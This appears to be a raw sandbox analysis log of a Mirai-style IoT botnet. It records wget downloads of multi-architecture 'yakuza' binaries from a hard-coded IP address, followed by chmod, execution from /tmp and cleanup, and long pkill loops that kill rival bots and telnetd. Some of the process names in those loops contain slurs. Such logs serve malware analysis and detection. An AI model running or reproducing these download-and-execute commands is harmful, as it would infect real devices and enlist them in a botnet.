/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:1623
-
/usr/bin/pkillpkill -9 iaGv4⤵PID:1625
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:1626
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:1635
-
/usr/bin/pkillpkill -9 5aA34⤵PID:1636
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:1638
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:1646
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵
- Reads CPU attributes
PID:1648
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:1649
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:1657
-
/usr/bin/pkillpkill -9 insomni4⤵PID:1658
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:1661
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:1671
-
/usr/bin/pkillpkill -9 6402774⤵
- Reads CPU attributes
PID:1673
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:1675
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:1683
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵PID:1684
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:1689
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:1695 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- Reads CPU attributes
- System Network Configuration Discovery
PID:1696
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1701
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:1707
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵PID:1708
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:1713
-
-
-
/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:1719
-
/usr/bin/pkillpkill -9 T4⤵PID:1720
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:1723
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:1731
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵PID:1732
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:1733
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:1743
-
/usr/bin/pkillpkill -9 6ke34⤵PID:1744
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:1745
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:1755
-
/usr/bin/pkillpkill -9 TOKYO34⤵PID:1756
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:1757
-
-
-
/bin/shsh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"3⤵PID:1769
-
/usr/bin/pkillpkill -9 lyEeaXul2dULCVxh4⤵
- Reads runtime system information
PID:1770
-
-
/bin/busyboxbusybox pkill -9 lyEeaXul2dULCVxh4⤵PID:1771
-
-
-
/bin/shsh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"3⤵PID:1781
-
/usr/bin/pkillpkill -9 93OfjHZ2z4⤵
- Reads runtime system information
PID:1782
-
-
/bin/busyboxbusybox pkill -9 93OfjHZ2z4⤵PID:1785
-
-
-
/bin/shsh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"3⤵PID:1793
-
/usr/bin/pkillpkill -9 TY2gD6MZvKc7KU6r4⤵PID:1794
-
-
/bin/busyboxbusybox pkill -9 TY2gD6MZvKc7KU6r4⤵PID:1797
-
-
-
/bin/shsh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"3⤵PID:1805
-
/usr/bin/pkillpkill -9 mMkiy6f87l4⤵PID:1806
-
-
/bin/busyboxbusybox pkill -9 mMkiy6f87l4⤵PID:1807
-
-
-
-
/bin/rmrm -rf yakuza.arm62⤵PID:705
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.i6862⤵
- Writes file to tmp directory
PID:709
-
-
/bin/chmodchmod +x yakuza.i6862⤵
- File and Directory Permissions Modification
PID:717
-
-
/tmp/yakuza.i686./yakuza.i6862⤵PID:719
-
-
/bin/rmrm -rf yakuza.i6862⤵PID:721
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.ppc2⤵
- Writes file to tmp directory
PID:723
-
-
/bin/chmodchmod +x yakuza.ppc2⤵
- File and Directory Permissions Modification
PID:731
-
-
/tmp/yakuza.ppc./yakuza.ppc2⤵PID:732
-
-
/bin/rmrm -rf yakuza.ppc2⤵PID:734
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.i5862⤵
- Writes file to tmp directory
PID:737
-
-
/bin/chmodchmod +x yakuza.i5862⤵
- File and Directory Permissions Modification
PID:744
-
-
/tmp/yakuza.i586./yakuza.i5862⤵PID:746
-
-
/bin/rmrm -rf yakuza.i5862⤵PID:748
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.m68k2⤵
- Writes file to tmp directory
PID:749
-
-
/bin/chmodchmod +x yakuza.m68k2⤵
- File and Directory Permissions Modification
PID:756
-
-
/tmp/yakuza.m68k./yakuza.m68k2⤵PID:757
-
-
/bin/rmrm -rf yakuza.m68k2⤵PID:759
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm42⤵
- Writes file to tmp directory
PID:760
-
-
/bin/chmodchmod +x yakuza.arm42⤵
- File and Directory Permissions Modification
PID:762
-
-
/tmp/yakuza.arm4./yakuza.arm42⤵PID:763
-
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:768
-
/usr/bin/pkillpkill -9 902i134⤵PID:769
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:773
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:791
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵PID:792
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:798
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:812
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵PID:813
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:821
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:825
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵PID:827
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:832
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:838
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:841
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:846
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:860
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵
- Reads CPU attributes
- Reads runtime system information
PID:862
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:869
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:881
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:883
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:889
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:903
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵
- Reads runtime system information
PID:905
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:911
-
-
-
/bin/shsh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"3⤵PID:918
-
/usr/bin/pkillpkill -9 ekjheory98e4⤵PID:919
-
-
/bin/busyboxbusybox pkill -9 ekjheory98e4⤵PID:924
-
-
-
/bin/shsh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"3⤵PID:930
-
/usr/bin/pkillpkill -9 scansh44⤵PID:931
-
-
/bin/busyboxbusybox pkill -9 scansh44⤵PID:932
-
-
-
/bin/shsh -c "pkill -9 MDMA || busybox pkill -9 MDMA"3⤵PID:942
-
/usr/bin/pkillpkill -9 MDMA4⤵PID:943
-
-
/bin/busyboxbusybox pkill -9 MDMA4⤵PID:944
-
-
-
/bin/shsh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"3⤵PID:953
-
/usr/bin/pkillpkill -9 fdevalvex4⤵PID:955
-
-
/bin/busyboxbusybox pkill -9 fdevalvex4⤵PID:956
-
-
-
/bin/shsh -c "pkill -9 scanspc || busybox pkill -9 scanspc"3⤵PID:965
-
/usr/bin/pkillpkill -9 scanspc4⤵PID:966
-
-
/bin/busyboxbusybox pkill -9 scanspc4⤵PID:968
-
-
-
/bin/shsh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"3⤵PID:976
-
/usr/bin/pkillpkill -9 MELTEDNINJAREALZ4⤵PID:978
-
-
/bin/busyboxbusybox pkill -9 MELTEDNINJAREALZ4⤵PID:980
-
-
-
/bin/shsh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"3⤵PID:990
-
/usr/bin/pkillpkill -9 flexsonskids4⤵PID:992
-
-
/bin/busyboxbusybox pkill -9 flexsonskids4⤵PID:995
-
-
-
/bin/shsh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"3⤵PID:1003
-
/usr/bin/pkillpkill -9 scanx864⤵PID:1004
-
-
/bin/busyboxbusybox pkill -9 scanx864⤵PID:1009
-
-
-
/bin/shsh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"3⤵PID:1018
-
/usr/bin/pkillpkill -9 MISAKI-U79OL4⤵PID:1019
-
-
/bin/busyboxbusybox pkill -9 MISAKI-U79OL4⤵PID:1021
-
-
-
/bin/shsh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"3⤵PID:1030
-
/usr/bin/pkillpkill -9 foAxi102kxe4⤵PID:1031
-
-
/bin/busyboxbusybox pkill -9 foAxi102kxe4⤵PID:1032
-
-
-
/bin/shsh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"3⤵PID:1041
-
/usr/bin/pkillpkill -9 swodjwodjwoj4⤵PID:1043
-
-
/bin/busyboxbusybox pkill -9 swodjwodjwoj4⤵PID:1045
-
-
-
/bin/shsh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"3⤵PID:1054
-
/usr/bin/pkillpkill -9 MmKiy7f87l4⤵PID:1055
-
-
/bin/busyboxbusybox pkill -9 MmKiy7f87l4⤵PID:1057
-
-
-
/bin/shsh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"3⤵PID:1066
-
/usr/bin/pkillpkill -9 freecookiex864⤵
- Reads runtime system information
PID:1067
-
-
/bin/busyboxbusybox pkill -9 freecookiex864⤵PID:1068
-
-
-
/bin/shsh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"3⤵PID:1076
-
/usr/bin/pkillpkill -9 sysgpu4⤵PID:1078
-
-
/bin/busyboxbusybox pkill -9 sysgpu4⤵PID:1081
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:1088
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵PID:1089
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:1094
-
-
-
/bin/shsh -c "pkill -9 frgege || busybox pkill -9 frgege"3⤵PID:1100
-
/usr/bin/pkillpkill -9 frgege4⤵PID:1101
-
-
/bin/busyboxbusybox pkill -9 frgege4⤵PID:1108
-
-
-
/bin/shsh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"3⤵PID:1114
-
/usr/bin/pkillpkill -9 sysupdater4⤵PID:1115
-
-
/bin/busyboxbusybox pkill -9 sysupdater4⤵PID:1116
-
-
-
/bin/shsh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"3⤵PID:1126
-
/usr/bin/pkillpkill -9 0DnAzepd4⤵PID:1127
-
-
/bin/busyboxbusybox pkill -9 0DnAzepd4⤵PID:1128
-
-
-
/bin/shsh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"3⤵PID:1138
-
/usr/bin/pkillpkill -9 NiGGeRD0nks694⤵PID:1139
-
-
/bin/busyboxbusybox pkill -9 NiGGeRD0nks694⤵PID:1140
-
-
-
/bin/shsh -c "pkill -9 frgreu || busybox pkill -9 frgreu"3⤵PID:1150
-
/usr/bin/pkillpkill -9 frgreu4⤵PID:1151
-
-
/bin/busyboxbusybox pkill -9 frgreu4⤵PID:1152
-
-
-
/bin/shsh -c "pkill -9 telnetd || busybox pkill -9 telnetd"3⤵PID:1162
-
/usr/bin/pkillpkill -9 telnetd4⤵PID:1163
-
-
/bin/busyboxbusybox pkill -9 telnetd4⤵PID:1164
-
-
-
/bin/shsh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"3⤵PID:1174
-
/usr/bin/pkillpkill -9 0x766f69644⤵PID:1175
-
-
/bin/busyboxbusybox pkill -9 0x766f69644⤵PID:1176
-
-
-
/bin/shsh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"3⤵PID:1186
-
/usr/bin/pkillpkill -9 NiGGeRd0nks13374⤵PID:1187
-
-
/bin/busyboxbusybox pkill -9 NiGGeRd0nks13374⤵PID:1188
-
-
-
/bin/shsh -c "pkill -9 gaft || busybox pkill -9 gaft"3⤵PID:1198
-
/usr/bin/pkillpkill -9 gaft4⤵PID:1199
-
-
/bin/busyboxbusybox pkill -9 gaft4⤵PID:1200
-
-
-
/bin/shsh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"3⤵PID:1210
-
/usr/bin/pkillpkill -9 urasgbsigboa4⤵PID:1211
-
-
/bin/busyboxbusybox pkill -9 urasgbsigboa4⤵PID:1212
-
-
-
/bin/shsh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"3⤵PID:1224
-
/usr/bin/pkillpkill -9 120i3UI494⤵
- Reads runtime system information
PID:1225
-
-
/bin/busyboxbusybox pkill -9 120i3UI494⤵PID:1226
-
-
-
/bin/shsh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"3⤵PID:1236
-
/usr/bin/pkillpkill -9 OaF34⤵
- Reads runtime system information
PID:1237
-
-
/bin/busyboxbusybox pkill -9 OaF34⤵PID:1238
-
-
-
/bin/shsh -c "pkill -9 geae || busybox pkill -9 geae"3⤵PID:1247
-
/usr/bin/pkillpkill -9 geae4⤵PID:1249
-
-
/bin/busyboxbusybox pkill -9 geae4⤵PID:1250
-
-
-
/bin/shsh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"3⤵PID:1259
-
/usr/bin/pkillpkill -9 vaiolmao4⤵PID:1261
-
-
/bin/busyboxbusybox pkill -9 vaiolmao4⤵PID:1262
-
-
-
/bin/shsh -c "pkill -9 123123a || busybox pkill -9 123123a"3⤵PID:1272
-
/usr/bin/pkillpkill -9 123123a4⤵PID:1273
-
-
/bin/busyboxbusybox pkill -9 123123a4⤵PID:1274
-
-
-
/bin/shsh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"3⤵PID:1283
-
/usr/bin/pkillpkill -9 Ofurain0n4H34D4⤵PID:1285
-
-
/bin/busyboxbusybox pkill -9 Ofurain0n4H34D4⤵PID:1286
-
-
-
/bin/shsh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"3⤵PID:1295
-
/usr/bin/pkillpkill -9 ggTrex4⤵PID:1297
-
-
/bin/busyboxbusybox pkill -9 ggTrex4⤵PID:1298
-
-
-
/bin/shsh -c "pkill -9 wasads || busybox pkill -9 wasads"3⤵PID:1308
-
/usr/bin/pkillpkill -9 wasads4⤵PID:1309
-
-
/bin/busyboxbusybox pkill -9 wasads4⤵PID:1310
-
-
-
/bin/shsh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"3⤵PID:1320
-
/usr/bin/pkillpkill -9 1293194hjXD4⤵PID:1321
-
-
/bin/busyboxbusybox pkill -9 1293194hjXD4⤵PID:1322
-
-
-
/bin/shsh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"3⤵PID:1333
-
/usr/bin/pkillpkill -9 OthLaLosn4⤵PID:1334
-
-
/bin/busyboxbusybox pkill -9 OthLaLosn4⤵PID:1336
-
-
-
/bin/shsh -c "pkill -9 ggt || busybox pkill -9 ggt"3⤵PID:1346
-
/usr/bin/pkillpkill -9 ggt4⤵PID:1347
-
-
/bin/busyboxbusybox pkill -9 ggt4⤵PID:1348
-
-
-
/bin/shsh -c "pkill -9 wget-log || busybox pkill -9 wget-log"3⤵PID:1357
-
/usr/bin/pkillpkill -9 wget-log4⤵PID:1358
-
-
/bin/busyboxbusybox pkill -9 wget-log4⤵PID:1360
-
-
-
/bin/shsh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"3⤵PID:1370
-
/usr/bin/pkillpkill -9 1337SoraLOADER4⤵PID:1371
-
-
/bin/busyboxbusybox pkill -9 1337SoraLOADER4⤵PID:1372
-
-
-
/bin/shsh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"3⤵PID:1382
-
/usr/bin/pkillpkill -9 SAIAKINA4⤵PID:1383
-
-
/bin/busyboxbusybox pkill -9 SAIAKINA4⤵PID:1384
-
-
-
/bin/shsh -c "pkill -9 ggtq || busybox pkill -9 ggtq"3⤵PID:1394
-
/usr/bin/pkillpkill -9 ggtq4⤵PID:1395
-
-
/bin/busyboxbusybox pkill -9 ggtq4⤵PID:1398
-
-
-
/bin/shsh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"3⤵PID:1406
-
/usr/bin/pkillpkill -9 1378bfp919GRB1Q24⤵PID:1407
-
-
/bin/busyboxbusybox pkill -9 1378bfp919GRB1Q24⤵PID:1408
-
-
-
/bin/shsh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"3⤵PID:1418
-
/usr/bin/pkillpkill -9 SAIAKUSO4⤵PID:1419
-
-
/bin/busyboxbusybox pkill -9 SAIAKUSO4⤵PID:1420
-
-
-
/bin/shsh -c "pkill -9 ggtr || busybox pkill -9 ggtr"3⤵PID:1430
-
/usr/bin/pkillpkill -9 ggtr4⤵PID:1431
-
-
/bin/busyboxbusybox pkill -9 ggtr4⤵PID:1434
-
-
-
/bin/shsh -c "pkill -9 14Fa || busybox pkill -9 14Fa"3⤵PID:1443
-
/usr/bin/pkillpkill -9 14Fa4⤵PID:1444
-
-
/bin/busyboxbusybox pkill -9 14Fa4⤵PID:1447
-
-
-
/bin/shsh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"3⤵PID:1456
-
/usr/bin/pkillpkill -9 SEXSLAVE13374⤵PID:1457
-
-
/bin/busyboxbusybox pkill -9 SEXSLAVE13374⤵PID:1460
-
-
-
/bin/shsh -c "pkill -9 ggtt || busybox pkill -9 ggtt"3⤵PID:1468
-
/usr/bin/pkillpkill -9 ggtt4⤵PID:1469
-
-
/bin/busyboxbusybox pkill -9 ggtt4⤵PID:1472
-
-
-
/bin/shsh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"3⤵PID:1480
-
/usr/bin/pkillpkill -9 1902a3u912u3u44⤵
- Reads CPU attributes
PID:1481
-
-
/bin/busyboxbusybox pkill -9 1902a3u912u3u44⤵PID:1484
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:1492
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:1493
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:1496
-
-
-
/bin/shsh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"3⤵PID:1504
-
/usr/bin/pkillpkill -9 haetrghbr4⤵PID:1505
-
-
/bin/busyboxbusybox pkill -9 haetrghbr4⤵PID:1507
-
-
-
/bin/shsh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"3⤵PID:1516
-
/usr/bin/pkillpkill -9 19ju3d4⤵PID:1517
-
-
/bin/busyboxbusybox pkill -9 19ju3d4⤵PID:1518
-
-
-
/bin/shsh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"3⤵PID:1528
-
/usr/bin/pkillpkill -9 SORAojkf1204⤵PID:1529
-
-
/bin/busyboxbusybox pkill -9 SORAojkf1204⤵PID:1530
-
-
-
/bin/shsh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"3⤵PID:1540
-
/usr/bin/pkillpkill -9 hehahejeje924⤵PID:1541
-
-
/bin/busyboxbusybox pkill -9 hehahejeje924⤵PID:1542
-
-
-
/bin/shsh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"3⤵PID:1552
-
/usr/bin/pkillpkill -9 2U2JDJA901F914⤵PID:1553
-
-
/bin/busyboxbusybox pkill -9 2U2JDJA901F914⤵PID:1554
-
-
-
/bin/shsh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"3⤵PID:1566
-
/usr/bin/pkillpkill -9 SlaVLav124⤵PID:1567
-
-
/bin/busyboxbusybox pkill -9 SlaVLav124⤵PID:1568
-
-
-
/bin/shsh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"3⤵PID:1578
-
/usr/bin/pkillpkill -9 helpmedaddthhhhh4⤵PID:1579
-
-
/bin/busyboxbusybox pkill -9 helpmedaddthhhhh4⤵PID:1580
-
-
-
/bin/shsh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"3⤵PID:1590
-
/usr/bin/pkillpkill -9 2wgg9qphbq4⤵PID:1591
-
-
/bin/busyboxbusybox pkill -9 2wgg9qphbq4⤵PID:1592
-
-
-
/bin/shsh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"3⤵PID:1602
-
/usr/bin/pkillpkill -9 Slav3Th3seD3vices4⤵PID:1603
-
-
/bin/busyboxbusybox pkill -9 Slav3Th3seD3vices4⤵PID:1604
-
-
-
/bin/shsh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"3⤵PID:1614
-
/usr/bin/pkillpkill -9 hzSmYZjYMQ4⤵
- Reads runtime system information
PID:1615
-
-
/bin/busyboxbusybox pkill -9 hzSmYZjYMQ4⤵PID:1616
-
-
-
/bin/shsh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"3⤵PID:1627
-
/usr/bin/pkillpkill -9 5Gbf4⤵
- Reads CPU attributes
PID:1628
-
-
/bin/busyboxbusybox pkill -9 5Gbf4⤵PID:1629
-
-
-
/bin/shsh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"3⤵PID:1639
-
/usr/bin/pkillpkill -9 SoRAxD123LOL4⤵PID:1640
-
-
/bin/busyboxbusybox pkill -9 SoRAxD123LOL4⤵PID:1641
-
-
-
/bin/shsh -c "pkill -9 iaGv || busybox pkill -9 iaGv"3⤵PID:1651
-
/usr/bin/pkillpkill -9 iaGv4⤵
- Reads runtime system information
PID:1652
-
-
/bin/busyboxbusybox pkill -9 iaGv4⤵PID:1653
-
-
-
/bin/shsh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"3⤵PID:1663
-
/usr/bin/pkillpkill -9 5aA34⤵PID:1664
-
-
/bin/busyboxbusybox pkill -9 5aA34⤵PID:1666
-
-
-
/bin/shsh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"3⤵PID:1676
-
/usr/bin/pkillpkill -9 SoRAxD420LOL4⤵
- Reads runtime system information
PID:1677
-
-
/bin/busyboxbusybox pkill -9 SoRAxD420LOL4⤵PID:1679
-
-
-
/bin/shsh -c "pkill -9 insomni || busybox pkill -9 insomni"3⤵PID:1687
-
/usr/bin/pkillpkill -9 insomni4⤵PID:1688
-
-
/bin/busyboxbusybox pkill -9 insomni4⤵PID:1691
-
-
-
/bin/shsh -c "pkill -9 640277 || busybox pkill -9 640277"3⤵PID:1699
-
/usr/bin/pkillpkill -9 6402774⤵PID:1700
-
-
/bin/busyboxbusybox pkill -9 6402774⤵PID:1705
-
-
-
/bin/shsh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"3⤵PID:1711
-
/usr/bin/pkillpkill -9 SoraBeReppin13374⤵PID:1712
-
-
/bin/busyboxbusybox pkill -9 SoraBeReppin13374⤵PID:1717
-
-
-
/bin/shsh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"3⤵
- System Network Configuration Discovery
PID:1724 -
/usr/bin/pkillpkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1725
-
-
/bin/busyboxbusybox pkill -9 ipcamCache4⤵
- System Network Configuration Discovery
PID:1729
-
-
-
/bin/shsh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"3⤵PID:1736
-
/usr/bin/pkillpkill -9 66tlGg9Q4⤵PID:1738
-
-
/bin/busyboxbusybox pkill -9 66tlGg9Q4⤵PID:1741
-
-
-
/bin/shsh -c "pkill -9 T || busybox pkill -9 T"3⤵PID:1750
-
/usr/bin/pkillpkill -9 T4⤵PID:1752
-
-
/bin/busyboxbusybox pkill -9 T4⤵PID:1754
-
-
-
/bin/shsh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"3⤵PID:1764
-
/usr/bin/pkillpkill -9 jUYfouyf874⤵
- Reads CPU attributes
PID:1765
-
-
/bin/busyboxbusybox pkill -9 jUYfouyf874⤵PID:1768
-
-
-
/bin/shsh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"3⤵PID:1777
-
/usr/bin/pkillpkill -9 6ke34⤵
- Reads runtime system information
PID:1778
-
-
/bin/busyboxbusybox pkill -9 6ke34⤵PID:1780
-
-
-
/bin/shsh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"3⤵PID:1789
-
/usr/bin/pkillpkill -9 TOKYO34⤵PID:1790
-
-
/bin/busyboxbusybox pkill -9 TOKYO34⤵PID:1791
-
-
-
/bin/shsh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"3⤵PID:1799
-
/usr/bin/pkillpkill -9 lyEeaXul2dULCVxh4⤵PID:1802
-
-
/bin/busyboxbusybox pkill -9 lyEeaXul2dULCVxh4⤵PID:1804
-
-
-
-
/bin/rmrm -rf yakuza.arm42⤵PID:765
-
-
/usr/bin/wgetwget http://82.57.165.95/yakuza.arm52⤵
- Writes file to tmp directory
PID:770
-
-
/bin/chmodchmod +x yakuza.arm52⤵
- File and Directory Permissions Modification
PID:780
-
-
/tmp/yakuza.arm5./yakuza.arm52⤵PID:781
-
/bin/shsh -c "pkill -9 902i13 || busybox pkill -9 902i13"3⤵PID:786
-
/usr/bin/pkillpkill -9 902i134⤵PID:788
-
-
/bin/busyboxbusybox pkill -9 902i134⤵PID:793
-
-
-
/bin/shsh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"3⤵PID:810
-
/usr/bin/pkillpkill -9 BzSxLxBxeY4⤵PID:811
-
-
/bin/busyboxbusybox pkill -9 BzSxLxBxeY4⤵PID:819
-
-
-
/bin/shsh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"3⤵PID:823
-
/usr/bin/pkillpkill -9 HOHO-LUGO74⤵
- Reads CPU attributes
PID:824
-
-
/bin/busyboxbusybox pkill -9 HOHO-LUGO74⤵PID:831
-
-
-
/bin/shsh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"3⤵PID:836
-
/usr/bin/pkillpkill -9 HOHO-U79OL4⤵PID:837
-
-
/bin/busyboxbusybox pkill -9 HOHO-U79OL4⤵PID:844
-
-
-
/bin/shsh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"3⤵PID:857
-
/usr/bin/pkillpkill -9 JuYfouyf874⤵PID:858
-
-
/bin/busyboxbusybox pkill -9 JuYfouyf874⤵PID:867
-
-
-
/bin/shsh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"3⤵PID:877
-
/usr/bin/pkillpkill -9 NiGGeR69xd4⤵
- Reads runtime system information
PID:878
-
-
/bin/busyboxbusybox pkill -9 NiGGeR69xd4⤵PID:884
-
-
-
/bin/shsh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"3⤵PID:897
-
/usr/bin/pkillpkill -9 SO190Ij1X4⤵PID:898
-
-
/bin/busyboxbusybox pkill -9 SO190Ij1X4⤵PID:901
-
-
-
/bin/shsh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"3⤵PID:915
-
/usr/bin/pkillpkill -9 LOLKIKEEEDDE4⤵PID:916
-
-
/bin/busyboxbusybox pkill -9 LOLKIKEEEDDE4⤵PID:917
-
-
